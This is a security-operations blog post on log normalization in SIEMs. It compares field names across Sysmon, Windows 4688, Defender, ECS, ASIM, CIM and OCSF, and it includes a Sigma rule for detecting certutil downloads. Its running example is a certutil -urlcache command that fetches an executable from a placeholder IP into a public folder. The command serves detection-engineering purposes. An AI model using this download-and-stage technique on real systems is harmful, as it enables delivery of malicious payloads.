Security Operations

What Is Log Normalization in SIEMs?

HuntRule Team · · 8 min read

Three railway tracks of different gauges converging into a single rail line in fog at night
On this page

Sysmon calls it Image. Windows Security event 4688 calls it NewProcessName. Microsoft Defender for Endpoint splits the same thing into FolderPath and FileName. All three describe one executable starting on one host, and a detection rule written against any one of them matches nothing on the other two.

Normalization is the translation layer that fixes that. It is also where detections die without anyone getting an error message.

The same execution, three products

Here is the logical event we carry through this post, reconstructed in a lab on Windows 11:

certutil.exe -urlcache -split -f http://198.51.100.24/a.exe C:\Users\Public\a.exe

Three sources see it. None of them agree on what to call anything.

Concept

Sysmon EID 1

Security 4688

Defender DeviceProcessEvents

ECS

Executable path

Image

NewProcessName

FolderPath + FileName

process.executable

Command line

CommandLine

CommandLine

ProcessCommandLine

process.command_line

Parent path

ParentImage

ParentProcessName

InitiatingProcessFolderPath

process.parent.executable

Parent command line

ParentCommandLine

not present

InitiatingProcessCommandLine

process.parent.command_line

PID

ProcessId

NewProcessId (hex)

ProcessId

process.pid

User

User

SubjectUserName + SubjectDomainName

AccountName + AccountDomain

user.name

Image hash

Hashes

not present

SHA1, SHA256, MD5

process.hash.*

Original file name

OriginalFileName

not present

ProcessVersionInfoOriginalFileName

process.pe.original_file_name

Host

Computer

Computer

DeviceName

host.name

Note the row that is empty twice. 4688 carries no hash and no parent command line, so any rule that leans on either is blind against a pure Windows audit log estate no matter how good the mapping is.

The normalized form, in Elastic Common Schema:

{
  "@timestamp": "2026-07-14T09:12:44.331Z",
  "event.category": ["process"],
  "event.type": ["start"],
  "host.name": "WS-4471",
  "host.domain": "corp.example.com",
  "user.name": "jkirk",
  "process.name": "certutil.exe",
  "process.executable": "C:\\Windows\\System32\\certutil.exe",
  "process.command_line": "certutil.exe -urlcache -split -f http://198.51.100.24/a.exe C:\\Users\\Public\\a.exe",
  "process.args": ["certutil.exe", "-urlcache", "-split", "-f", "http://198.51.100.24/a.exe", "C:\\Users\\Public\\a.exe"],
  "process.pid": 4812,
  "process.pe.original_file_name": "CertUtil.exe",
  "process.parent.name": "cmd.exe",
  "process.hash.sha256": null
}

Four steps, not one

Teams say "normalization" and mean all four of these at once. Keep them separate or you end up with a mapping nobody can debug.

Parsing turns bytes into fields. Sysmon arrives as EVTX XML with <Data Name="Image"> elements. Linux auditd arrives as key equals value text spread across several records that share one msg=audit(1752484364.331:8812) identifier, with the argv split across a0, a1, a2 in the EXECVE record and a hex-encoded copy in PROCTITLE. Defender arrives as typed columns and needs no parsing at all. Parsing failures produce absent fields, not wrong ones.

Field mapping moves a parsed field to a schema field. This is a lookup table and it is where most of the damage happens. The pySigma Splunk backend ships its CIM mapping in the open, which makes a good worked example:

splunk_sysmon_process_creation_cim_mapping = {
    "CommandLine": "Processes.process",
    "Computer": "Processes.dest",
    "Image": "Processes.process_path",
    "IntegrityLevel": "Processes.process_integrity_level",
    "OriginalFileName": "Processes.original_file_name",
    "ParentCommandLine": "Processes.parent_process",
    "ParentImage": "Processes.parent_process_path",
    "ProcessId": "Processes.process_id",
    "User": "Processes.user",
}

Read the first line again. In Splunk CIM, Processes.process holds the command line, not the process name. An analyst who assumes process means the executable writes Processes.process="certutil.exe" and gets zero results forever. There is also no entry for Sysmon's Hashes, so a Sigma rule keyed on hashes fails conversion outright, which is the good outcome. Silent failure is the bad one.

Value normalization rewrites the contents. Timestamps to UTC in one format, because Sysmon emits UtcTime while auditd emits epoch seconds and the 4688 XML carries SystemTime that Event Viewer renders in local time. Case, because C:\Windows\System32\certutil.exe and c:\windows\system32\CertUtil.exe are the same file to Windows and two different strings to Splunk's where and to KQL ==. Path form, because kernel-sourced telemetry often carries \Device\HarddiskVolume3\Windows\System32\certutil.exe and a rule written against C:\ will not touch it. Host identity, because 4688's Computer is WIN-GG82ULGC9GO.contoso.local while an agent may report WIN-GG82ULGC9GO. ECS splits that into host.name, host.hostname and host.domain. ASIM splits it further into DvcHostname, DvcFQDN, DvcDomain and DvcDomainType. Pick one convention per pipeline and write it down.

Enrichment adds facts that were never in the event: GeoIP on destination.ip, asset criticality on host.name, threat intel on process.hash.sha256, SID resolved to a username. Enrichment is time dependent. The asset table you joined at 09:00 is not the asset table at 17:00, and a rule whose core condition reads an enrichment field fails open the day the lookup is empty.

A stack of brass laboratory sieves on a dark bench, coarse fragments held in the top pan and fine grains fallen through onto the bench below

Four ways a normalized detection dies

The unparsed field that becomes null. Your rule reads process.command_line|contains: '-urlcache'. The parser missed the field, so it is null, so the condition is false, so nothing fires and nothing errors. This is not hypothetical for 4688: the CommandLine field is empty unless command line auditing is enabled, which is HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled set to 1. Microsoft's own sample 4688 XML shows <Data Name="CommandLine" /> with nothing in it. Track a per-field null rate per source and alert when it moves.

The vendor format change mid-shift. An agent updates, a field is renamed or a new one is inserted, and a regex that anchors on a prefix keeps matching while quietly truncating. Nobody notices because the rule count goes down, not up, and down looks like a quiet week.

The lossy mapping. Defender's schema documentation states that SHA256 on DeviceProcessEvents is usually not populated and recommends SHA1 instead. A portable rule keyed on process.hash.sha256 is therefore correct, well mapped, and useless against that source.

The field with nowhere to go. Linux auditd's auid survives su and sudo, which makes it the single most useful identity field on a Linux box. OCSF carries auid on its process object. ECS core has no equivalent, so a mapping into ECS parks it in a custom namespace or drops it, and every rule that would have used it has to be rewritten around user.name.

The four schemas, honestly

ECS is Elastic's, dotted lowercase, real arrays (process.args), and sharing common ground with the OpenTelemetry semantic conventions it was donated to, with that alignment still in progress. It has the widest third party adoption outside its own vendor.

ASIM is Microsoft Sentinel's, and it normalizes at query time. imProcessCreate is a KQL function over the raw tables, so the original fields stay put and a mapping fix is a function edit rather than a reindex. That is a genuine operational advantage and a genuine query cost.

Splunk CIM is data models over accelerated indexes, with flat unnamespaced fields (process, dest, user) and tstats for speed. The flat names are compact and, as shown above, ambiguous.

OCSF is the vendor-neutral one. Process Activity is class_uid 1007, activity_id 1 is Launch, and the shape is nested objects (actor.process, process.file.path, process.cmd_line) with integer enums that each carry a string sibling.

Migration between them is not a rename table. ECS process.args is an array and CIM Processes.process is one string, so going one way you join and going the other way you tokenize, and tokenizing a Windows command line correctly is its own project. OCSF integer enums have to be derived, not copied. Rewriting the rules is the smaller half of the cost. Re-testing every one of them against real events is the larger half, and skipping it is how a migration ships with a third of the detection estate silently returning zero.

What the rule catches, and what it needs

title: Certutil download via urlcache
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_cli:
        CommandLine|contains:
            - 'urlcache'
            - 'verifyctl'
    condition: all of selection_*
falsepositives:
    - PKI and certificate deployment scripts
    - Cleanup scripts running certutil -urlcache * delete
level: medium

It catches the -urlcache and -verifyctl download paths (T1105) and survives a renamed binary through OriginalFileName (T1036.003). It misses certutil -decode against a file already staged on disk (T1140), and it misses everything on any source where CommandLine is null.

For that rule to work anywhere, the mapping has to land these:

ECS    process.executable          process.command_line          process.pe.original_file_name
ASIM   TargetProcessName           TargetProcessCommandLine       TargetProcessFileOriginalName
CIM    Processes.process_path      Processes.process              Processes.original_file_name
OCSF   process.file.path           process.cmd_line               process.file.name

Do not assume any of those are populated. Run the command in a lab, pull the raw record and the normalized record side by side, and assert that every field the rule reads is non-null and holds what you expect. Then run the rule. Then keep that raw and normalized pair as a fixture and replay it after every parser change. A rule is portable only as far as the mapping under it is faithful, and the only way to know the mapping is faithful is a test event.

Summary

Normalization is four distinct steps: parse, map, normalize values, enrich. Conflating them produces mappings that cannot be debugged when a rule stops firing. The failure mode that matters is silent, because an unparsed or unmapped field becomes null and a null field makes a condition false without raising anything. ECS, ASIM, CIM and OCSF all work, they disagree on field names, nesting and enum encoding, and moving between them costs more in re-testing than in rewriting. Validate every mapping with a generated test event before you trust a rule against a new source.

Fields to confirm are populated before trusting any process creation rule:

executable path
command line
original file name
parent executable path
parent command line
user name
image hash (sha256, and sha1 as fallback)
host name and host domain
event timestamp in UTC

The catalog's Windows process creation rules are at /rules?domain=windows, and the certutil coverage specifically at /rules?q=certutil. If you want the portability side of this in more depth, what Sigma rules are covers the rule format that these mappings feed.

Related articles